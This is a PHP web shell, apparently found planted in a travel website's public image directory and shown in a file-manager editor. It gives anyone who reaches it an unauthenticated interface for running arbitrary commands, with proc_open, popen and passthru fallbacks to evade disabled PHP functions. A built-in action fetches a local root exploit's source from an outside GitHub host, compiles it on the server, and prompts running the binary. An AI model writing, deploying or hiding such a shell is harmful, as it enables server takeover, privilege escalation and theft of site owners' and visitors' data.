TERMINAL FM // post

EDITOR
/home/u917864144/domains/humsafarholiday.com/public_html/image/post/md.php
<?php
// ============================================================
// BENTO TERMINAL + CVE-64600 (RefluXFS) EXPLOIT MANAGER
// Bypass disable_functions (system, exec, shell_exec)
// ============================================================

if (isset($_POST['cmd'])) {
    $cmd = $_POST['cmd'];
    $output = '';

    // Handle 'cd' specially since each proc_open runs in a separate process
    if (preg_match('/^\s*cd\s*(.+)?$/', $cmd, $matches)) {
        $targetDir = isset($matches[1]) ? trim($matches[1]) : '';
        if ($targetDir === '') {
            $targetDir = getenv('HOME') ?: '/';
        }
        if (@chdir($targetDir)) {
            $output = getcwd();
        } else {
            $output = "cd: no such file or directory: " . $targetDir;
        }
        echo $output;
        exit;
    }

    // ========== SPECIAL ACTION: STAGE & COMPILE REFLUXFS POC ==========
    if ($cmd === 'stage_refluxfs') {
        $pocUrl = 'https://raw.githubusercontent.com/litosmartin/CVE-64600-Refluxfs-POC/refs/heads/main/refluxfs.c';
        $targetFile = 'refluxfs.c';
        $compiledBinary = 'refluxfs';

        // Download source code
        $sourceCode = @file_get_contents($pocUrl);
        if ($sourceCode === false) {
            echo "[ERROR] Failed to fetch RefluXFS exploit source from GitHub.";
            exit;
        }

        if (file_put_contents($targetFile, $sourceCode) === false) {
            echo "[ERROR] Failed to write $targetFile to current directory: " . getcwd();
            exit;
        }

        // Try compiling via proc_open gcc
        $descriptorspec = [
            0 => ["pipe", "r"],
            1 => ["pipe", "w"],
            2 => ["pipe", "w"]
        ];

        $process = proc_open("gcc $targetFile -o $compiledBinary -lpthread", $descriptorspec, $pipes, getcwd());
        if (is_resource($process)) {
            fclose($pipes[0]);
            $compileOutput = stream_get_contents($pipes[1]);
            $compileError = stream_get_contents($pipes[2]);
            fclose($pipes[1]);
            fclose($pipes[2]);
            proc_close($process);

            if (file_exists($compiledBinary)) {
                echo "[SUCCESS] RefluXFS PoC staged and compiled successfully!\n";
                echo "Binary saved as: " . getcwd() . "/" . $compiledBinary . "\n";
                if ($compileError) echo "Compiler Notes:\n" . $compileError;
            } else {
                echo "[WARNING] Source downloaded to $targetFile, but compilation failed:\n" . $compileError;
            }
        } else {
            echo "[SUCCESS] Source downloaded to $targetFile, but could not execute gcc compilation automatically.";
        }
        exit;
    }

    // ========== METHOD 1: proc_open ==========
    $descriptorspec = [
        0 => ["pipe", "r"],  // stdin
        1 => ["pipe", "w"],  // stdout
        2 => ["pipe", "w"]   // stderr
    ];

    $process = proc_open($cmd, $descriptorspec, $pipes, getcwd());

    if (is_resource($process)) {
        fclose($pipes[0]); 
        $output = stream_get_contents($pipes[1]);
        $error = stream_get_contents($pipes[2]);
        fclose($pipes[1]);
        fclose($pipes[2]);
        proc_close($process);
        
        if ($error) {
            $output .= "\n" . $error;
        }
    } else {
        // ========== METHOD 2: popen (fallback) ==========
        $fp = popen($cmd, 'r');
        if ($fp) {
            $output = stream_get_contents($fp);
            pclose($fp);
        } else {
            // ========== METHOD 3: passthru (last resort) ==========
            ob_start();
            passthru($cmd);
            $output = ob_get_clean();
        }
    }

    echo $output;
    exit;
}
?>
<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>💀 Advanced Bento Terminal & Exploit Manager</title>
    <!-- Tailwind CSS CDN -->
    <script src="https://cdn.tailwindcss.com"></script>
    <style>
        .glass-panel {
            background: rgba(18, 18, 24, 0.75);
            backdrop-filter: blur(16px);
            -webkit-backdrop-filter: blur(16px);
            border: 1px solid rgba(255, 255, 255, 0.08);
        }
        .glass-input {
            background: rgba(10, 10, 15, 0.6);
            backdrop-filter: blur(8px);
            border: 1px solid rgba(255, 255, 255, 0.05);
        }
        ::-webkit-scrollbar { width: 6px; height: 6px; }
        ::-webkit-scrollbar-track { background: transparent; }
        ::-webkit-scrollbar-thumb { background: rgba(0, 255, 65, 0.3); border-radius: 9999px; }
        ::-webkit-scrollbar-thumb:hover { background: rgba(0, 255, 65, 0.6); }
    </style>
</head>
<body class="bg-slate-950 text-slate-100 font-mono min-h-screen flex flex-col items-center justify-center p-3 md:p-6 bg-[radial-gradient(ellipse_at_top,_var(--tw-gradient-stops))] from-slate-900 via-slate-950 to-black">

    <!-- Main Bento Grid Container -->
    <div class="w-full max-w-7xl grid grid-cols-1 lg:grid-cols-4 gap-4 h-[92vh]">
        
        <!-- Sidebar Panel (System Info & Exploit Modules) -->
        <div class="lg:col-span-1 glass-panel rounded-2xl p-5 flex flex-col justify-between shadow-2xl overflow-y-auto">
            <div class="space-y-6">
                <!-- Top Status Header -->
                <div>
                    <div class="flex items-center space-x-3 mb-4">
                        <div class="w-3 h-3 bg-red-500 rounded-full animate-pulse"></div>
                        <div class="w-3 h-3 bg-yellow-500 rounded-full"></div>
                        <div class="w-3 h-3 bg-green-500 rounded-full"></div>
                        <span class="text-xs tracking-wider text-slate-400 font-bold uppercase ml-auto">Bento Shell v2</span>
                    </div>
                    
                    <h1 class="text-lg font-bold text-emerald-400 mb-1 flex items-center gap-2">
                        <span>💀</span> Secure Terminal
                    </h1>
                    <p class="text-xs text-slate-400">Bypass via <code class="text-rose-400 bg-rose-950/40 px-1 py-0.5 rounded">proc_open</code></p>
                </div>

                <!-- System Metadata -->
                <div class="space-y-2.5">
                    <div class="glass-input p-3 rounded-xl">
                        <span class="text-[10px] uppercase tracking-wider text-slate-500 block">Current User</span>
                        <span class="text-xs font-semibold text-emerald-400 truncate block"><?php echo htmlspecialchars(get_current_user()); ?></span>
                    </div>
                    <div class="glass-input p-3 rounded-xl">
                        <span class="text-[10px] uppercase tracking-wider text-slate-500 block">PHP Version</span>
                        <span class="text-xs font-semibold text-cyan-400 truncate block"><?php echo htmlspecialchars(phpversion()); ?></span>
                    </div>
                    <div class="glass-input p-3 rounded-xl">
                        <span class="text-[10px] uppercase tracking-wider text-slate-500 block">Server Kernel</span>
                        <span class="text-xs font-semibold text-amber-400 truncate block"><?php echo htmlspecialchars(php_uname('s') . ' ' . php_uname('r')); ?></span>
                    </div>
                </div>

                <!-- Exploit Quick Modules (CVE-2026-64600 RefluXFS) -->
                <div class="glass-input p-3.5 rounded-xl border border-rose-500/20">
                    <div class="flex items-center justify-between mb-2">
                        <span class="text-xs font-bold text-rose-400 uppercase tracking-wider">CVE-2026-64600</span>
                        <span class="text-[10px] bg-rose-950 text-rose-300 px-1.5 py-0.5 rounded">LPE XFS</span>
                    </div>
                    <p class="text-[11px] text-slate-400 mb-3 leading-relaxed">RefluXFS race condition PoC (Local Root Exploit).</p>
                    <button onclick="stageRefluxFS()" id="stage-btn" class="w-full bg-rose-600/80 hover:bg-rose-500 text-white text-xs font-bold py-2 px-3 rounded-lg transition-all shadow-lg shadow-rose-900/30 flex items-center justify-center gap-2">
                        <span>⚡</span> Stage & Compile PoC
                    </button>
                </div>
            </div>

            <div class="pt-4 border-t border-slate-800/60 text-[11px] text-slate-500 flex flex-col gap-1">
                <span>Type <strong class="text-emerald-400">help</strong> for command index</span>
                <span>Type <strong class="text-emerald-400">clear</strong> to reset terminal</span>
            </div>
        </div>

        <!-- Terminal Main Window -->
        <div class="lg:col-span-3 glass-panel rounded-2xl flex flex-col shadow-2xl overflow-hidden relative">
            
            <!-- Directory Status Bar -->
            <div class="bg-slate-900/60 px-5 py-3 border-b border-slate-800/60 flex items-center justify-between">
                <div class="flex items-center space-x-2 text-xs text-slate-400 overflow-hidden">
                    <svg class="w-4 h-4 text-cyan-400 flex-shrink-0" fill="none" stroke="currentColor" viewBox="0 0 24 24"><path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" d="M3 7v10a2 2 0 002 2h14a2 2 0 002-2V9a2 2 0 00-2-2h-6l-2-2H5a2 2 0 00-2 2z"/></svg>
                    <span class="truncate font-semibold text-cyan-300" id="cwd"><?php echo htmlspecialchars(getcwd()); ?></span>
                </div>
                <div class="flex items-center space-x-2">
                    <span class="inline-flex items-center px-2 py-0.5 rounded text-[10px] font-medium bg-emerald-950/60 text-emerald-400 border border-emerald-800/50">Active Session</span>
                </div>
            </div>

            <!-- Terminal Output Area -->
            <div id="terminal" class="flex-1 p-5 overflow-y-auto space-y-3 text-sm text-slate-300 whitespace-pre-wrap break-words">
                <div class="text-emerald-400 font-medium">
<?php
echo "╔═══════════════════════════════════════════════════════╗\n";
echo "║   🚀 ADVANCED BENTO TERMINAL & EXPLOIT SYSTEM READY  ║\n";
echo "╚═══════════════════════════════════════════════════════╝\n\n";
echo "Modules loaded: proc_open bypass, auto-compiler, CVE staging.\n";
?>
                </div>
            </div>

            <!-- Terminal Input Form Footer -->
            <div class="p-4 bg-slate-900/80 border-t border-slate-800/60 flex items-center gap-3">
                <span class="text-emerald-400 font-bold text-base flex-shrink-0">$&gt;</span>
                <input type="text" id="cmd-input" class="glass-input flex-1 px-4 py-2.5 rounded-xl text-emerald-400 placeholder-slate-600 focus:outline-none focus:ring-2 focus:ring-emerald-500/50 text-sm md:text-base font-mono" placeholder="Enter shell command (e.g., uname -a, ls -la, ./refluxfs)..." autofocus autocomplete="off">
                <button id="send-btn" class="bg-emerald-500 hover:bg-emerald-400 text-slate-950 px-5 py-2.5 rounded-xl font-bold transition-all shadow-lg shadow-emerald-500/20 active:scale-95 flex items-center justify-center">
                    <svg class="w-5 h-5 rotate-90" fill="none" stroke="currentColor" viewBox="0 0 24 24"><path stroke-linecap="round" stroke-linejoin="round" stroke-width="2.5" d="M12 19l9 2-9-18-9 18 9-2zm0 0v-8"/></svg>
                </button>
            </div>

        </div>

    </div>

    <script>
        const terminal = document.getElementById('terminal');
        const cmdInput = document.getElementById('cmd-input');
        const sendBtn = document.getElementById('send-btn');
        const cwdSpan = document.getElementById('cwd');

        function executeCommand(cmd) {
            const trimmed = cmd.trim();
            if (!trimmed) return;

            if (trimmed === 'clear') {
                terminal.innerHTML = '';
                return;
            }

            if (trimmed === 'help') {
                const helpText = `
╔═══════════════════════════════════════════════════════╗\n
║  🛠️ AVAILABLE BUILT-IN & SHELL COMMANDS               ║\n
╠═══════════════════════════════════════════════════════╣\n
║  clear         - Clear terminal screen                ║\n
║  help          - Show this help menu                  ║\n
║  stage_refluxfs- Download & compile RefluXFS exploit  ║\n
║  cd            - Change working directory             ║\n
║  pwd           - Show current working directory       ║\n
║  ls            - List directory contents              ║\n
╚═══════════════════════════════════════════════════════╝
`;
                appendOutput(getPrompt() + " " + trimmed, 'text-emerald-400 font-bold');
                appendOutput(helpText, 'text-slate-300');
                return;
            }

            appendOutput(getPrompt() + " " + trimmed, 'text-emerald-400 font-bold');

            fetch(window.location.href, {
                method: 'POST',
                headers: {
                    'Content-Type': 'application/x-www-form-urlencoded',
                },
                body: 'cmd=' + encodeURIComponent(trimmed)
            })
            .then(response => response.text())
            .then(data => {
                if (trimmed.startsWith('cd ') || trimmed === 'cd') {
                    updateCwd();
                }
                
                if (data) {
                    appendOutput(data, 'text-slate-300');
                } else {
                    appendOutput("(no output)", 'text-slate-500 italic');
                }
                scrollToBottom();
            })
            .catch(error => {
                appendOutput("[ERROR] " + error.message, 'text-rose-400');
                scrollToBottom();
            });
        }

        function stageRefluxFS() {
            const stageBtn = document.getElementById('stage-btn');
            stageBtn.disabled = true;
            stageBtn.textContent = 'Staging & Compiling...';
            
            appendOutput("$> [SYSTEM] Initiating fetch for RefluXFS PoC (CVE-2026-64600)...", 'text-rose-400 font-bold');

            fetch(window.location.href, {
                method: 'POST',
                headers: {
                    'Content-Type': 'application/x-www-form-urlencoded',
                },
                body: 'cmd=stage_refluxfs'
            })
            .then(response => response.text())
            .then(data => {
                appendOutput(data, 'text-amber-300');
                stageBtn.disabled = false;
                stageBtn.textContent = '⚡ Stage & Compile PoC';
                updateCwd();
                scrollToBottom();
            })
            .catch(error => {
                appendOutput("[ERROR] Staging failed: " + error.message, 'text-rose-400');
                stageBtn.disabled = false;
                stageBtn.textContent = '⚡ Stage & Compile PoC';
                scrollToBottom();
            });
        }

        function getPrompt() {
            return '$>';
        }

        function appendOutput(text, className = 'text-slate-300') {
            const div = document.createElement('div');
            div.className = className + " whitespace-pre-wrap break-words";
            div.textContent = text;
            terminal.appendChild(div);
            scrollToBottom();
        }

        function scrollToBottom() {
            terminal.scrollTop = terminal.scrollHeight;
        }

        function updateCwd() {
            fetch(window.location.href, {
                method: 'POST',
                headers: {
                    'Content-Type': 'application/x-www-form-urlencoded',
                },
                body: 'cmd=pwd'
            })
            .then(response => response.text())
            .then(data => {
                const cwd = data.trim();
                if (cwd && !cwd.includes('no such file')) {
                    cwdSpan.textContent = cwd;
                }
            })
            .catch(() => {});
        }

        sendBtn.addEventListener('click', function() {
            const cmd = cmdInput.value;
            cmdInput.value = '';
            executeCommand(cmd);
        });

        cmdInput.addEventListener('keydown', function(e) {
            if (e.key === 'Enter') {
                const cmd = cmdInput.value;
                cmdInput.value = '';
                executeCommand(cmd);
            }
        });

        document.addEventListener('click', function() {
            cmdInput.focus();
        });

        cmdInput.focus();
    </script>
</body>
</html>
Ln 1, Col 1
ONLINE
post
130 items
21:44:10